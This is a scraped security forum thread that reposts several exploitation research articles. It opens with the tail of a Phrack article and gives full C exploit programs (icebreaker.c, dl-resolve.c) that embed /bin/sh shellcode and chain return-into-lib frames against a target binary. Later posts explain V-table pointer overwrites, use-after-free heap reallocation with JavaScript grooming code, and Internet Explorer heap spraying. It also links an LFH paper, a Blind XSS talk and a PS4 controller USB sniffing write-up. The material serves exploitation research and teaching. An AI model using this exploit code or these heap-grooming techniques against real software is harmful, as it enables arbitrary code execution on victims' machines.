thebuf.mymmap.start = MMAP_START + 1; thebuf.mymmap.length = 0x01020304; thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; /* again, careful not to include MAP_GROWS_DOWN below */ thebuf.mymmap.flags = 0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021001; thebuf.trans.new_ebp = 0x01020304; thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell); memset(thebuf.hell, 'x', sizeof(thebuf.hell)); strncpy(thebuf.hell, hellcode, strlen(hellcode)); strcpy(lg, "LNG="); memcpy(lg + 4, &theov, sizeof(theov)); memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf)); lg[4 + sizeof(thebuf) + sizeof(theov)] = 0; if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) { fprintf(stderr, "size=%i len=%i; zero(s) in the payload, correct it.\n", sizeof(struct ov) + sizeof(struct ourbuf) + 4, strlen(lg)); exit(1); } execle("./vuln", "./vuln", 0, env, 0); } <--> <++> phrack-nergal/dl-resolve.c !d5fc32b7 /* by Nergal */ #include <stdlib.h> #include <elf.h> #include <stdio.h> #include <string.h> #define STRTAB 0x8048240 #define SYMTAB 0x8048170 #define JMPREL 0x8048354 #define VERSYM 0x80482f8 #define PLT_SECTION "0x080483cc" void graceful_exit() { exit(123); } void doit(int offset) { int res; __asm__ volatile (" pushl $0x01011000 pushl $0xffffffff pushl $0x00000032 pushl $0x00000007 pushl $0x01011000 pushl $0xaa011000 pushl %%ebx pushl %%eax pushl $" PLT_SECTION " ret" :"=a"(res) :"0"(offset), "b"(graceful_exit) ); } /* this must be global */ Elf32_Rel reloc; #define ANYTHING 0xfe #define RQSIZE 60000 int main(int argc, char **argv) { unsigned int reloc_offset; unsigned int real_index; char symbol_name[16]; int dummy_writable_int; char *tmp = malloc(RQSIZE); Elf32_Sym *sym; unsigned short *null_short = (unsigned short*) tmp; /* create a null index into VERSYM */ *null_short = 0; real_index = ((unsigned int) null_short - VERSYM) / sizeof(*null_short); sym = (Elf32_Sym *)(real_index * sizeof(*sym) + SYMTAB); if ((unsigned int) sym > (unsigned int) tmp + RQSIZE) { fprintf(stderr, "mmap symbol entry is too far, increase RQSIZE\n"); exit(1); } strcpy(symbol_name, "mmap"); sym->st_name = (unsigned int) symbol_name - (unsigned int) STRTAB; sym->st_value = (unsigned int) &dummy_writable_int; sym->st_size = ANYTHING; sym->st_info = ANYTHING; sym->st_other = ANYTHING & ~3; sym->st_shndx = ANYTHING; reloc_offset = (unsigned int) (&reloc) - JMPREL; reloc.r_info = R_386_JMP_SLOT + real_index*256; reloc.r_offset = (unsigned int) &dummy_writable_int; doit(reloc_offset); printf("not reached\n"); return 0; } <--> <++> phrack-nergal/icebreaker.c !19d7ec6d /* by Nergal */ #include <stdio.h> #include <stddef.h> #include <sys/mman.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #define STRCPY 0x080483cc #define LEAVERET 0x08048359 #define FRAMESINDATA 0x08049ac0 #define STRTAB 0x8048204 #define SYMTAB 0x8048164 #define JMPREL 0x80482f4 #define VERSYM 0x80482a8 #define PLT 0x0804835c #define VIND 0x804859b #define MMAP_START 0xaa011000 char hellcode[] = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* Unfortunately, if mmap_string = "mmap", accidentaly there appears a "0" in our payload. So, we shift the name by 1 (one 'x'). */ #define NAME_ADD_OFF 1 char mmap_string[] = "xmmap"; struct two_arg { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct mmap_plt_args { unsigned int new_ebp; unsigned int put_plt_here; unsigned int reloc_offset; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset; }; struct my_elf_rel { unsigned int r_offset; unsigned int r_info; }; struct my_elf_sym { unsigned int st_name; unsigned int st_value; unsigned int st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* ELF spec say: No defined meaning, 0 */ unsigned short st_shndx; /* Section index */ }; struct ourbuf { struct two_arg reloc; struct two_arg zero[8]; struct mmap_plt_args mymmap; struct two_arg trans; char hell[sizeof(hellcode)]; struct my_elf_rel r; struct my_elf_sym sym; char mmapname[sizeof(mmap_string)]; }; struct ov { char scratch[24]; unsigned int ebp; unsigned int eip; }; #define PTR_TO_NULL (VIND+1) /* this functions prepares strcpy frame so that the strcpy call will zero a byte at "addr" */ void fix_zero(struct ourbuf *b, unsigned int addr, int idx) { b->zero[idx].new_ebp = FRAMESINDATA + offsetof(struct ourbuf, zero) + sizeof(struct two_arg) * (idx + 1); b->zero[idx].func = STRCPY; b->zero[idx].leave_ret = LEAVERET; b->zero[idx].param1 = addr; b->zero[idx].param2 = PTR_TO_NULL; } /* this function checks if the byte at position "offset" is zero; if so, prepare a strcpy frame to nullify it; else, prepare a strcpy frame to nullify some secure, unused location */ void setup_zero(struct ourbuf *b, unsigned int offset, int zeronum) { char *ptr = (char *) b; if (!ptr[offset]) { fprintf(stderr, "fixing zero at %i(off=%i)\n", zeronum, offset); ptr[offset] = 0xff; fix_zero(b, FRAMESINDATA + offset, zeronum); } else fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4, zeronum); } /* same as above, but prepare to nullify a byte not in our payload, but at absolute address abs */ void setup_zero_abs(struct ourbuf *b, unsigned char *addr, int offset, int zeronum) { char *ptr = (char *) b; if (!ptr[offset]) { fprintf(stderr, "fixing abs zero at %i(off=%i)\n", zeronum, offset); ptr[offset] = 0xff; fix_zero(b, (unsigned int) addr, zeronum); } else fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4, zeronum); } int main(int argc, char **argv) { char lng[sizeof(struct ov) + 4 + 1]; char str[sizeof(struct ourbuf) + 4 + 1]; char *env[3] = { lng, str, 0 }; struct ourbuf thebuf; struct ov theov; int i; unsigned int real_index, mysym, reloc_offset; memset(theov.scratch, 'X', sizeof(theov.scratch)); if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.ebp = 0x01020304; theov.eip = 0x05060708; } else { theov.ebp = FRAMESINDATA; theov.eip = LEAVERET; } strcpy(lng, "LNG="); memcpy(lng + 4, &theov, sizeof(theov)); lng[4 + sizeof(theov)] = 0; memset(&thebuf, 'A', sizeof(thebuf)); real_index = (VIND - VERSYM) / 2; mysym = SYMTAB + 16 * real_index; fprintf(stderr, "mysym=0x%x\n", mysym); if (mysym > FRAMESINDATA && mysym < FRAMESINDATA + sizeof(struct ourbuf) + 16) { fprintf(stderr, "syment intersects our payload;" " choose another VIND or FRAMESINDATA\n"); exit(1); } reloc_offset = FRAMESINDATA + offsetof(struct ourbuf, r) - JMPREL; /* This strcpy call will relocate my_elf_sym from our payload to a fixed, appropriate location (mysym) */ thebuf.reloc.new_ebp = FRAMESINDATA + offsetof(struct ourbuf, zero); thebuf.reloc.func = STRCPY; thebuf.reloc.leave_ret = LEAVERET; thebuf.reloc.param1 = mysym; thebuf.reloc.param2 = FRAMESINDATA + offsetof(struct ourbuf, sym); thebuf.mymmap.new_ebp = FRAMESINDATA + offsetof(struct ourbuf, trans); thebuf.mymmap.put_plt_here = PLT; thebuf.mymmap.reloc_offset = reloc_offset; thebuf.mymmap.leave_ret = LEAVERET; thebuf.mymmap.start = MMAP_START; thebuf.mymmap.length = 0x01020304; thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; thebuf.mymmap.flags = 0x01010000 | MAP_EXECUTABLE | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021000; thebuf.trans.new_ebp = 0x01020304; thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMESINDATA + offsetof(struct ourbuf, hell); memset(thebuf.hell, 'x', sizeof(thebuf.hell)); memcpy(thebuf.hell, hellcode, strlen(hellcode)); thebuf.r.r_info = 7 + 256 * real_index; thebuf.r.r_offset = FRAMESINDATA + sizeof(thebuf) + 4; thebuf.sym.st_name = FRAMESINDATA + offsetof(struct ourbuf, mmapname) + NAME_ADD_OFF- STRTAB; thebuf.sym.st_value = FRAMESINDATA + sizeof(thebuf) + 4; #define ANYTHING 0xfefefe80 thebuf.sym.st_size = ANYTHING; thebuf.sym.st_info = (unsigned char) ANYTHING; thebuf.sym.st_other = ((unsigned char) ANYTHING) & ~3; thebuf.sym.st_shndx = (unsigned short) ANYTHING; strcpy(thebuf.mmapname, mmap_string); /* setup_zero[_abs] functions prepare arguments for strcpy calls, which are to nullify certain bytes */ setup_zero(&thebuf, offsetof(struct ourbuf, r) + offsetof(struct my_elf_rel, r_info) + 2, 0); setup_zero(&thebuf, offsetof(struct ourbuf, r) + offsetof(struct my_elf_rel, r_info) + 3, 1); setup_zero_abs(&thebuf, (char *) mysym + offsetof(struct my_elf_sym, st_name) + 2, offsetof(struct ourbuf, sym) + offsetof(struct my_elf_sym, st_name) + 2, 2); setup_zero_abs(&thebuf, (char *) mysym + offsetof(struct my_elf_sym, st_name) + 3, offsetof(struct ourbuf, sym) + offsetof(struct my_elf_sym, st_name) + 3, 3); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, start), 4); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, offset), 5); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, reloc_offset) + 2, 6); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, reloc_offset) + 3, 7); strcpy(str, "STR="); memcpy(str + 4, &thebuf, sizeof(thebuf)); str[4 + sizeof(thebuf)] = 0; if (sizeof(struct ourbuf) + 4 > strlen(str) + sizeof(thebuf.mmapname)) { fprintf(stderr, "Zeroes in the payload, sizeof=%d, len=%d, correct it !\n", sizeof(struct ourbuf) + 4, strlen(str)); fprintf(stderr, "sizeof thebuf.mmapname=%d\n", sizeof(thebuf.mmapname)); exit(1); } execle("./pax", "pax", 0, env, 0); return 1; } <--> Sursa: http://www.phrack.org/issues.html?issue=58&id=4&mode=txt
  19. [h=3]Attacking V-Table Pointers[/h]A common attack vector for software written in C++ is V-table pointer overwrites. When C++ objects are allocated on the heap, such as when the "new" keyword is used, they often get put next to other objects that are also on the heap. If there is an unbounded write to one of the objects on the heap before an object using V-tables, this type of attack is feasible. Windows has mitigations in its userland heap manager that can make it difficult to guess which objects will be next to each other on the heap. This means that even if an attacker knows that there is an unbounded write to an object on the heap, the attacker would not know what object is right after it on the heap, making it much more difficult to exploit reliably. The following example code uses Virtual functions, which imply V-table usage when compiled with the Microsoft Visual C++ compiler: /*the following class definitions were modified from http://en.wikipedia.org/wiki/Virtual_function_table */ #include <iostream> using namespace std; class B1 //base class { public: virtual void f0() {} virtual void f1() {} }; class B2 //base class { public: virtual void f2() {} virtual void f3() {} }; class D : public B1, public B2 { //derived class inherits both base classes public: void d() {} void f0() {} // override B1::f0() void f1() {} // override B1::f1() void f2() {} // override B2::f2() void f3() {} // override B2::f3() }; int main(int argc, char* argv[]) { B2 *b2 = new B2(); D *d = new D(); d->f0(); //vtable lookup d->f1(); //vtable lookup d->f2(); //vtable lookup d->f3(); //vtable lookup } Below is the relevant assembly code of the above C++ code showing how virtual functions are accessed in objects that make use of virtual functions: d->f0(); //V-table lookup mov eax,dword ptr [ebp-14h]//eax=address of d object mov edx,dword ptr [eax] //edx=first dword in d object(pointer to B1 V-table) mov eax,dword ptr [edx] //eax=first entry in B1 V-Table(address of f0) call eax d->f1(); //V-table lookup mov eax,dword ptr [ebp-14h]//eax=address of d object mov edx,dword ptr [eax] //edx=first dword in d object(pointer to B1 V-table) mov eax,dword ptr [edx+4] //eax=second entry in B1 V-Table(address of f1) call eax d->f2(); //V-table lookup mov eax,dword ptr [ebp-14h]//eax=address of d object mov edx,dword ptr [eax+4] //edx=second dword in d object(pointer to B2 V-table) mov eax,dword ptr [edx] //eax=first entry in B2 V-table(address of f2) call eax d->f3(); //V-table lookup mov eax,dword ptr [ebp-14h]//eax=address of d object mov edx,dword ptr [eax+4] //edx=second dword in d object(pointer to B2 V-table) mov eax,dword ptr [edx+4] //eax=second entry in B2 V-table(address of f3) call eax The common pattern in all of these virtual function lookups is as follows: Dereference the object pointer which contains the V-table. Dereference the relevant V-Table pointer within the object from step 1. Dereference the relevant function pointer inside the V-table from step 2. Call the function found in step 3. In Windbg, we can verify that d was indeed allocated on the heap because our local variables are: 0:000> dv argc = 0n1 argv = 0x00574660 d = 0x00574720 b2 = 0x005746e0 More info about where our d object is allocated: 0:000> !heap -p -a 0x00574720 address 00574720 found in _HEAP @ 570000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 005746f8 0009 0000 [00] 00574700 0002c - (busy) Below is a graphical depiction of the relationship between our heap objects and the V-tables they reference. [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Normal V-table layout[/TD] [/TR] [/TABLE] If we wanted to exploit a V-table pointer overwrite and highjack a call to d->f1(), we have to make sure our "fake V-table" and attacker code is in place before executing the call. For this example let's assume the "fake V-table" is at 0xDEADBEEF and our attacker code is at 0x41414141. This can be achieved by memory spraying, which would ensure that the following predicates would be true: Address 0xDEADBEEF has already been allocated and is readable. The DWORD at 4 bytes past 0xDEADBEEF(doing the math, that would just be 0xDEADBEF3) is the address of attacker code that we want to execute. Our attacker code exists at 0x41414141. We would need to overwrite the pointer(stored in the heap-allocated object) to the B1 class V-table with the value 0xDEADBEEF. In the following example, we overwrote the pointer(stored at 0x00574720) to the B1 V-table with the value 0xDEADBEEF. Now, if a call to d->f1() happened, the follow sequence of events would occur: d->f1(); //V-table lookup mov eax,dword ptr [ebp-14h]//eax=address of d object mov edx,dword ptr [eax] //edx=first dword in d object(our 0xDEADBEEF value) mov eax,dword ptr [edx+4] //eax=0x41414141 call eax //call into our attacker code instead of d->f1() [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Overwritten V-table pointers with sprayed fake V-table and attacker code[/TD] [/TR] [/TABLE] Posted by Neil Sikka Sursa: InfoSec Research: Attacking V-Table Pointers
  20. Understanding the Low Fragmentation Heap Blackhat USA 2010 Chris Valasek X-Force Researcher cvalasek = gmail.com @nudehaberdasher Table of Contents Introduction ................................................................................................................................................ 4 Overview ................................................................................................................................................. 4 Prior Works ............................................................................................................................................. 5 Prerequisites ........................................................................................................................................... 6 Terminology ............................................................................................................................................ 6 Notes ...................................................................................................................................................... 7 Data Structures ........................................................................................................................................... 7 _HEAP ..................................................................................................................................................... 7 _HEAP_LIST_LOOKUP.............................................................................................................................. 9 _LFH_HEAP ........................................................................................................................................... 10 _LFH_BLOCK_ZONE ............................................................................................................................... 11 _HEAP_LOCAL_DATA ............................................................................................................................ 11 _HEAP_LOCAL_SEGMENT_INFO ........................................................................................................... 12 _HEAP_SUBSEGMENT ........................................................................................................................... 12 _HEAP_USERDATA_HEADER ................................................................................................................. 13 _INTERLOCK_SEQ .................................................................................................................................. 14 _HEAP_ENTRY ....................................................................................................................................... 15 Overview ............................................................................................................................................... 16 Architecture .............................................................................................................................................. 17 FreeLists ................................................................................................................................................ 17 Algorithms ................................................................................................................................................ 20 Allocation .............................................................................................................................................. 20 Back-end Allocation .............................................................................................................................. 21 RtlpAllocateHeap .............................................................................................................................. 21 Overview ........................................................................................................................................... 27 Front-end Allocation ............................................................................................................................. 28 RtlpLowFragHeapAllocFromContext ................................................................................................. 28 Overview ........................................................................................................................................... 36 Example ............................................................................................................................................ 37 Freeing .................................................................................................................................................. 40 Back-end Freeing .............................................................................................................................. 41 RtlpFreeHeap .................................................................................................................................... 41 Overview ........................................................................................................................................... 47 Front-end Freeing ................................................................................................................................. 48 RtlpLowFragHeapFree ....................................................................................................................... 48 Overview ........................................................................................................................................... 51 Example ............................................................................................................................................ 52 Security Mechanisms ................................................................................................................................ 55 Heap Randomization ............................................................................................................................. 55 Comments ......................................................................................................................................... 56 Header Encoding/Decoding .................................................................................................................. 56 Comments ......................................................................................................................................... 57 Death of bitmap flipping ....................................................................................................................... 58 Safe Linking ........................................................................................................................................... 59 Comments ......................................................................................................................................... 59 Tactics ....................................................................................................................................................... 60 Heap Determinism ................................................................................................................................ 60 Activating the LFH ............................................................................................................................. 60 Defragmentation ............................................................................................................................... 61 Adjacent Data ................................................................................................................................... 62 Seeding Data ..................................................................................................................................... 63 Exploitation ........................................................................................................................................... 67 Ben Hawkes #1 .................................................................................................................................. 67 FreeEntryOffset Overwrite ................................................................................................................ 71 Observations ......................................................................................................................................... 79 SubSegment Overwrite ..................................................................................................................... 79 Example ............................................................................................................................................ 83 Issues ................................................................................................................................................ 83 Conclusion ................................................................................................................................................ 85 Bibliography .............................................................................................................................................. 86 Download: http://www.illmatics.com/Understanding_the_LFH.pdf
  21. [h=3]Low Fragmentation Heap ReAllocation for Use After Free Exploitation[/h]Use After Free (UAF) vulnerabilities occur when the application frees an object on the heap, and then tries to erroneously use it again (usually due to a stale pointer reference to the freed object). A common exploitation technique to target a UAF vulnerability is to try to reallocate heap memory between the time when the application frees the memory and when it erroneously dereferences the stale pointer to the freed memory. This reallocation would fill the “hole” left by the application when it initially freed the object. The typical timeline of this type of attack is as follows: 1) Application frees object on the heap 2) Attacker reallocates objects on the heap 3) Application erroneously dereferences freed pointer Note that in normal circumstances, A UAF would crash the program due to an Access Violation. However, when the application is being exploited, the attacker’s reallocation serves 2 main purposes: 1) Make sure that there is data at the location pointed to by the stale pointer so the application doesn’t crash on erroneous dereference and 2) Craft the data in the reallocation in such a way that the dereference would help the attacker gain control over the Instruction Pointer (EIP on x86). In Internet Explorer, exploits often use JavaScript to reallocate freed objects on a heap with the Windows Low Fragmentation Heap (LFH) policy activated and groom the backend heap in order to eventually gain control over the Instruction Pointer. The connection between JavaScript and freed objects is as follows: "When string attributes of HTML objects are assigned in JavaScript, the strings are often stored in the same Front End LFH that the freed objects were stored in." The significance of this statement is that attackers can craft maliciously formatted strings in JavaScript and have the strings fill holes left by the freed objects. In order to reallocate the holes left by the freed objects, the attacker must make sure the strings are of the same size as the freed objects, so that the stings will get allocated in the same LFH bucket as the freed object. Once the object of interest has been freed, and the attacker can assign those strings as attributes to an array of HTML nodes, and those strings are likely to be allocated on the same LFH as the freed object. Eventually, if this process is repeated enough, a reallocation of the “hole” left by the freed object would occur. This means that the next time the application dereferences the stale pointer (ie for a virtual function call), it would get the attacker’s string rather than the object it expects to be there. This would be how the attacker initially takes control of the Instruction Pointer. Below is an example of what this process may look like in JavaScript: //create an array of HTML elements whose string attributes we will assign laterfor (var i = 0 ; i < numObjects; i++) objectArray = document.createElement('div'); /* "prime" LFH by allocating a few strings of the same size as the object of interest to enable the LFH bucket for this allocation size */ for (var x = 0; x < primeAmount; x++) objectArray[x].title = pattern; //application allocates object here //application frees object here //fill the hole left by the freed object assuming primeAmount < numObjects for (var z = primeAmount; z < numObjects; z++) objectArray[z].title = pattern; //attributes should be allocated on LFH //application erroneously uses object here The JavaScript “pattern” string above was carefully crafted to meet the following criteria: 1) It must be the same size as the erroneously freed object, so that it will be reallocated in the same LFH Bucket. 2) Its value must be specifically crafted to help gain code execution. For example, if the freed object was a C++ object with a V-Table pointer, one of the first few DWORDs must point to a location in memory which the attacker controls (usually via a Heap Spray of the backend heap) that contains a malicious V-Table. For more information, see prior article about V-Tables. For more information about the Low Fragmentation Heap, see: http://msdn.microsoft.com/en-ca/windows/desktop/aa366750(v=vs.85).aspx http://www.illmatics.com/Understanding_the_LFH.pdf Posted by Neil Sikka Sursa: InfoSec Research: Low Fragmentation Heap ReAllocation for Use After Free Exploitation
  22. Visual Heap Spray Prerequisite Reading: Previous “Low Fragmentation Heap ReAllocation for Use After Free Exploitation” article Previous “Attacking V-Table Pointers” article Heap Sprays are a common method attackers use to introduce determinism in a program’s address space. They aim to control a program’s memory layout in such a way that an attacker can reliably predict what will be in memory at a certain address (Address of Interest) at a certain point in execution. For example, if there is a Use-After-Free bug, on an object with a V-Table, the object can be reallocated and the offset of the V-Table pointer in the object can point to an address that the attacker knows will contain the spray (Address of Interest). This knowledge often comes from trial and error when writing the exploit. The Address of Interest makes a big difference in the quality of the exploit. For example, a very popular Address of Interest is 0x0c0c0c0c. The reasoning behind this Address of Interest is that the address must be low in the process’s address space (the highest Nibble of this address is 0x0), yet must be at a higher address in memory than the heap being sprayed (the second highest Nibble is 0xc) so that when the heap grows due to the memory pressure of the spray, it will grow into this address. Using high addresses such as 0xc0c0c0c (the highest Nibble is 0xc) would require that the application freezes for a longer period of time before the heap spray is complete. A victim that is being targeted might get bored and close the process (web browser in this case) due to the fact that it has appeared to freeze during the long time taken to spray, thereby precluding any possibility of successful exploitation. Visualizations: Below are some memory usage visualizations taken with the vmmap tool from SysInternals before and after the heap spray. The orange color represents the Backend Heap in the process’s address space. Two things to notice are the large growth in the orange segment of the graphs below and the difference in the “Committed” usage before and after the spray (it grows from about 136 MB to about 698 MB). Before Spray: [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Memory Usage before Heap Spray[/TD] [/TR] [/TABLE] After Spray: [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Memory Usage after Heap Spray[/TD] [/TR] [/TABLE] Below are graphical representations of the memory layout before and after the spray. The “After Spray” visualization has the approximate address of 0x0c0c0c0c marked for the reader’s convenience. One might make the argument that since 0x0c0c0c0c is relatively early in the heap spray, the heap spray could have been reduced to minimize the time the victim has to wait for the spray to finish. Before Spray: [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Memory Layout before Heap Spray[/TD] [/TR] [/TABLE] After Spray: [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Memory Layout after Heap Spray[/TD] [/TR] [/TABLE] How to Heap Spray in Internet Explorer: In IE, heap sprays are often done by allocating and assigning large strings from JavaScript. Sprays are often done on the Backend Heap (rather than the Low Fragmentation Heap). In order to get strings allocated on the Backend Heap, the strings must be larger than 16KB. Example JavaScript follows: for (var z = primeAmount; z < numObjects; z++) objectArray[z].title = pattern; The Heap Spraying technique does not come without some drawbacks, leading to some researchers referring to heap sprays as “For the 99%”. In some cases, exploitation can be made more reliable by finding multiple "good" bugs rather than heap spraying: It might take a long time to spray (user might get impatient and terminate the program). Depending on preexisting memory layout due to external factors (loaded plugins, other webpages visited prior to this one, etc), spraying can be unreliable. Too much spraying might cause the Operating System to swap memory pages out to disk (depending on how much physical memory the victim’s machine has) and JavaScript Exceptions. New IE mitigations might prevent highjacking virtual function calls. There is no guarantee that the Address of Interest will contain the spray-an executable image or something else might be mapped at the Address of Interest, depending on the address space and system configuration unique to the victim. Libraries: The community has done some great work to reduce the barrier of entry into this space. Multiple open source libraries have been written by researchers to abstract away the details of heap mechanics. In the example presented in this article, the heap reallocation/spray was done manually, but libraries such as HeapLib by Alex Sotirov and HeapLib2 by Chris Valasek allow users to just call into them in order to perform reallocation/sprays. Code review of HeapLib2 shows that this article, the prerequisite readings and HeapLib2 all use the same technique to reallocate and spray the heap. Posted by Neil Sikka Sursa: InfoSec Research: Visual Heap Spray
  23. [h=1]Blind XSS[/h] Adam Baldwin is the Team Lead at Lift Security, a web application security consultancy and the Chief Security Officer at &yet (andyet.net). He at one time possessed a GCIA and CISSP. Adam is a highly knowledegable information security expert having created the DVCS pillaging toolkit, helmet: the security header middleware for node.js, a minor contributor to the W3AF project, and has previously spoken at DEF CON, Toorcon, Toorcamp, Djangcon, and JSconf. Adam kindly shared his slides which you can download here (.pdf) Sursa: Blind XSS hacking with Adam Baldwin - How to Hack websites using cross-site scripting
  24. Sniffing the USB traffic of a PS4 controller by dyngnosis on Nov.17, 2013 So, in previous posts we looked at using facedancer21 and umap.py to fuzz the the PS4 USB interface. The fuzz cases are pretty simple but they certainly did their job. It is time to start thinking about customizing the existing fuzzer to fuzz a specific device — the PS4 controller. There has been a bunch of work getting open source support for the PS3 controller. So we have a great starting point to work with on that end. I’m going to have to read up on the USB protocol a bit better and really look at how umap implements its fuzz cases and how they implement the protocol. For now lets take a look at the USB traffic generated by the device. To do this I used USBPcap with wireshark: Below is a capture of the traffic that occurs when you plug the device in: [1] Packet one is sent from the host to 30 (the usb device). It is asking for a descripter. [2] The device sends a descripter response: The device responds with information that identifies itself including idVendor of 0x054c for Sony Corp. and an idProduct of “0x05c4?. The PlayStation 3 controller responds with (0×0268) for Batoh Device / PlayStation 3 Controller. Next (in packet 4) the host asks the device for a Configuration Descriptor. In packet five the device responds and says hey.. my bMaxPower is FA (500ma) In packet eight we find out that this device has two end points. On the PlayStation 3 controller we find endpoints at 2 and 1 (out and in respectively). On the PS4 controller we find endpoints at 4(in) and 3(out). Also note the ” UNKNOWN DESCRIPTOR ” The data is 09 21 11 01 00 01 22 d2 01 09 is clearly the length. I’ll have to look into the rest. PS3 Endpoints: PS4 Endpoints The next interesting packet happens after packet 14 when the host asks the USB device for RPIPE Descriptor. There are a ton of interesting patterns/sequences in this binary blob. We can even see the result of increment word values in the ascii representation. NOTE: The PS3 controller does not send this data. Packets 17 onward are the stream of data sent from the controller to the host device. I’ve been able to pick out values that represent the X Y Z axis of the controller gyroscope. I’m sure picking out the values that change when buttons are pressed is a simple procedure and something that was done long ago by other people when creating opensource drivers for the PS3 controller. To go further I’ll need to go read some USB spec stuff and the open source implementations of the PS3 driver. With this though, we do have enough to start customizing the fuzzer and start thinking about fields we can fuzz. Sursa: Sniffing the USB traffic of a PS4 controller
×
×
  • Create New...